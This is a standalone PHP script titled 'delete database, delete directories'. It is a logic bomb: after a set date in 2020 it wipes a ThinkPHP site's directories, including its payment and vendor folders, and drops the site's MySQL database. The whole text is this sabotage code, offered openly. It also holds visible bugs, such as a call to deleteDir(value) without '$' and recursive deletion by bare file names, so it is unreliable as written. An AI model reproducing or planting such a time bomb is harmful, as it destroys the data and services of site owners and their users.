删库删目录
$dirdata=[
"./../../../../../public/Web",
"./../../../../../public/apk",
"./../../../../../public/h5",
"./../../../../../thinkphp",
"./../../../../../public/js",
"./../../../../../public/pay",
"./../../../../../vendor",
"./../../../../../application",
];
$dbhost = '127.0.0.1'; // mysql服务器主机地址
$dbuser = '数据库用户名'; // mysql用户名
$dbpass = '数据库密码'; // mysql用户名密码
$dbtabase = '数据库名'; // mysql数据库名
$stime=strtotime("2020-10-10:00:01");//判断时间戳
//当当前时间超出制定时间将执行一下操作
if(time()>$stime){
//删除文件
foreach ($dirdata as $value) {
deleteDir(value);
}
//删除数据库
deleteDATABASE($dbhost, $dbuser, $dbpass,$dbtabase);
//数据库删除
function deleteDATABASE($dbhost, $dbuser, $dbpass,$dbtabase)
{
$conn = mysqli_connect($dbhost, $dbuser, $dbpass);
if(! $conn )
{
die('连接失败: ' . mysqli_error($conn));
}
echo '连接成功<br />';
$sql = 'DROP DATABASE '.$dbtabase;
$retval = mysqli_query( $conn, $sql );
if(! $retval )
{
die('删除数据库失败: ' . mysqli_error($conn));
}
echo "数据库 ".$dbtabase." 删除成功\n";
mysqli_close($conn);
}
//文件删除
function deleteDir($dir)
{
if (rmdir($dir)==false && is_dir($dir)) {
if ($dp = opendir($dir)) {
while (($file=readdir($dp)) != false) {
if (is_dir($file) && $file!='.' && $file!='..') {
deleteDir($file);
} else {
unlink($file);
}
}
closedir($dp);
} else {
exit('Not permission');
}
}
}
}